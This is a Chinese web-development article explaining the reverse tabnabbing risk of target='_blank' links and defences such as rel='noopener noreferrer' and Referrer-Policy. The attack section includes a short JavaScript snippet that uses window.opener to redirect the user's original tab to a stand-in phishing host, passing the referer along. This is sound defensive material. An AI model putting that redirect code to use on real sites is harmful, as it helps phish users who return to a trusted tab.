百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

target =“_ blank”背后的隐藏漏洞

myzbx 2024-12-16 14:53 30 浏览

通常,在网页中使用链接时,如果希望浏览器在新选项卡中打开指定的 URL,就会在 a 标记上添加属性 target = “_blank”。

但也恰恰是这个属性为网络钓鱼攻击者提供了可趁之机。

基础知识

parent 和 opener

在谈论 opener 之前,让我们首先看一下<iframe>中的 parent。

我们知道,用于父子页面交互的对象通常是在<iframe>中提供的,这个对象就是 window.parent。我们可以通过 window.parent 对象从 iframe 的页面中访问父页面的 window 对象。

opener 与 parent 一样,但它只用于通过<a target="_blank">在新标签页中打开页面。你可以直接使用 window.opener 从通过<a target="_blank">打开的页面中访问源页面的 window 对象。

同域和跨域

浏览器提供了完整的跨域保护功能。当域名相同时,parent 对象和 opener 对象都是父页面的 window 对象。当域名不同时,parent 和 opener 是 global 对象。这个 global 对象只提供对属性的非常有限的访问,而且不允许访问大多数属性(如果尝试访问它们将直接抛出 DOMException)。

在<iframe>中,提供了一个 sandbox 属性来控制 iframe 中页面的权限,因此即使在同一个域中,也可以控制<iframe>的安全性。

如何利用漏洞

如果你的网站上有一个使用 target = “_ blank”的链接,一旦用户点击该链接并进入新标签页,如果新标签页的网页上有恶意代码,用户将直接被导航到虚假网站。这个时候,如果用户返回到你的标签页,他们将看到已被替换的页面。

步骤

1. 你的网站 https://example.com 上有一个链接:

<a href="https://an.evil.site" target="_blank">Enter an "evil" website</a>

2. 用户单击这个链接,并在新选项卡上打开新页面。网站可以通过 HTTP 标头中的 Referer 属性确定用户的来源。

并且网页中包含类似这样的 JavaScript 代码:

const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

3. 现在,用户继续浏览新选项卡,而原始的选项卡已导航到 https://a.fake.site/?https%3A%2F%2Fexample.com%2F。

4. 恶意网站 https://a.fake.site 根据查询字符串伪造了一个用于欺骗用户的页面(你也可以在此期间再次跳转,让浏览器地址栏中的地址看起来更令人困惑)。

5. 用户关闭 https://an.evil.site 选项卡,并返回原始网站,但你会发现根本回不去了。

上述攻击步骤在跨域的场景中有效。因为在跨域时,opener 对象与 parent 对象是一样的,两者都受到了限制,都只提供非常有限的访问属性。而在仅有的少数属性中,大多数都不允许被访问(如果试图访问它们将直接抛出 DOMException)。

但在跨域的场景中,opener 仍然可以调用 location.replace 方法,而 parent 则不能。

如果是在同一个域中(例如网站上的页面嵌入了恶意代码),情况会严重得多。

如何防御

<iframe>提供了 sandbox 属性,你可以通过以下方式来使用链接:

1.Referrer Policy 和 noreferrer

在上述攻击步骤中,HTTP 标头中包含了 Referer 属性。实际上,你可以将 Referrer Policy 添加到 HTTP 的响应标头中来保护链接源的隐私。

你需要通过修改后端代码来实现 Referrer Policy。在前端,你还可以通过将<a>标签的 rel 属性指定为“noreferrer”来确保链接源的隐私。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">Enter an "evil" website</a>

不过,需要注意的是,即使你限制了 referer 的传递,仍然无法防止原始页面被恶意重定向。

2.noopener

出于安全方面的考虑,现代浏览器允许将<a>标签的 rel 属性指定为“noopener”,因此在打开的新选项卡中,opener 对象将不再可用,因为它已被设置为 null。

<a href="https://an.evil.site" target="_blank" rel="noopener">Enter an "evil" website</a>

3.JavaScript

noopener 属性似乎解决了所有问题,但你仍然需要考虑浏览器的兼容性问题。

如你所见,大多数浏览器现在都支持 rel = “noopener”。但是,对于那些稍微陈旧一点的浏览器和古老的浏览器,只有 noopener 属性是不够的。

因此,你必须使用以下这样的 JavaScript 代码。

"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

最好的建议

首先,如果你的网站链接使用了 target = “_ blank”,那么也应该将 rel = “noopener”添加链接中(建议也添加 rel = “noreferrer”)。例如:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">Enter an "evil" website</a>

当然,当跳转到第三方网站时,可以为了 SEO 添加 rel = “nofollow”,所以最终会像这样:

<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">Enter an "evil" website</a>

性能

最后,我们来谈谈性能问题。

如果网站使用了<a target="_blank">,则新打开的选项卡的性能将影响当前页面。这个时候,如果在新打开的页面中执行非常臃肿的 JavaScript 脚本,原始选项卡将受到影响,并且会出现停滞现象(当然,它不会卡住)。

如果将 noopener 添加到链接中,则两个选项卡不会相互干扰,因此原始页面的性能不会受到新页面的影响。

英文原文

The Hidden Dangers You Have Never Noticed: target = “_blank” and “opener”

关注我并转发此篇文章,私信我“领取资料”,即可免费获得InfoQ价值4999元迷你书!

相关推荐

以文本的方式绘制简单的SVG流程图——flowchart.js

介绍flowchart.js是在浏览器和终端中运行的流程图DSL和SVG渲染。节点和连接是分别定义的,因此可以重复使用节点,并可以快速更改连接。也可以在DSL中对节点和连接器样式进行细微的更改。Git...

全国首套构网型SVG在木垒投运

中新网新疆新闻1月5日电(翟文辉)12月29日,全国首套构网型SVG在新疆木垒华电220千伏四十个井子汇集站并网,本项目是新疆电网继阿克陶构网型储能后又一次构网型支撑项目示范。为全面响应国家“双碳”...

Popmotion – 小巧,灵活的 JS 运动引擎

Popmotion是一个只有12KB的JavaScript运动引擎,可以用来实现动画,物理效果和输入跟踪。原生的DOM支持:CSS,SVG,SVG路径和DOM属性的支持,开箱即用。Popmoti...

零基础教你学前端——43、初识SVG

解决网站图标问题的最佳方案——SVG!SVG是一种基于XML语法的图像格式,英文全称是:ScalableVectorGraphics,即可缩放矢量图,是W3C的一项建议。我们用手机拍摄...

2.3 文件格式全解:PSD/JPG/PNG/SVG/GIF

2.3文件格式全解:PSD/JPG/PNG/SVG/GIF一、文件格式的核心意义文件格式是数字图像的存储规则,决定了:-信息保留程度(图层/透明度/动画)-压缩方式与画质损失-跨平台兼容性-...

vite v6.3.2 发布!HMR 优化+CSS 增强+稳定性提升,前端开发再提速!

前言:Vite6.3.2来了!2025年4月18日,Vite团队正式发布了v6.3.2版本!虽然是一个小版本更新,但修复了多个关键问题,并带来了性能优化和稳定性提升,让开发体验更丝滑!如果你还...

一篇文章带你了解SVG 蒙版(Mask)

SVG蒙版功能可将蒙版应用于SVG形状。蒙版可确定SVG形状的哪些部分可见,以及具有什么透明度。运行效果可以将SVG蒙版视为剪切路径的更高级版本。一、简单的蒙版代码解析:本示例使用ID=mask1定义...

SVG实现的流程图绘制

一、项目简介使用SVG技术实现的流程图绘制二、实现功能流程图块生成、连线、拖拽产生相应的xml和xpdl导入导出json数据放大缩小功能保存操作(选择、自动插入、开始结束、普通活动、子活动、块活动、路...

解锁国内 404 页面:Next.js 设置指南和 33 个有趣 SVG 资源分享

前言当我们访问网站时,如果访问到不存在的路径时,会出现404错误。为了避免给访问者带来不良体验,设计网站时通常会在页面上展示“404页面不存在”的提示,并引导用户进行返回首页等操作。因此在建立网...

交互设计师做好动画后,提交给开发的文档有哪些?

谢邀!简单的说一下自己的看法。首先从制作动画开始。目前制作动画的方式主要有:Gif动画视频动画Web动画,而Web动画又包括:CSS动画、JS动画(Canvas动画、原生JS动画API)、SVG动画等...

Motion for Vue:为Vue量身定制的强大动画库

在前端开发中,动画效果是提升用户体验的重要手段。Vue生态系统中虽然有许多动画库,但真正能做到高性能、易用且功能丰富的并不多。今天,我们要介绍的是MotionforVue(motion-v),...

Web开发人员的福音!8个实用的SVG工具

SVG可缩放矢量图形(ScalableVectorGraphics)是基于可扩展标记语言(XML),用于描述二维矢量图形的一种图形格式。SVG是W3C在2000年8月制定的一种新的二维矢量图形格式...

一键画波浪线、一键多图片调色?这3个网站好玩到停不下来

作为一个经常收集网站的PPT设计师,无意中发现了一些超级有趣的网站。只要你动手能力足够强,就一定会利用它做出创意作品。不说废话,直接进入主题。1、炫酷的光线绘画网站http://weavesilk.c...

vite 6.2.5 更新速递:告别SVG路径Bug,构建效率再提升!

Vite6.2.5更新公告2025年4月3日,Vite团队正式发布了Vite6.2.5版本!此次更新虽然是一个小版本迭代,但修复了一个关键问题,涉及SVG文件路径检查,对前端开发者尤...

DrawSVG – SVG 路径动画 jQuery 插件

jQueryDrawSVG使用了jQuery内置的动画引擎实现SVG路径动画,用到了stroke-dasharray和stroke-dashoffset属性。DrawSVG是完全...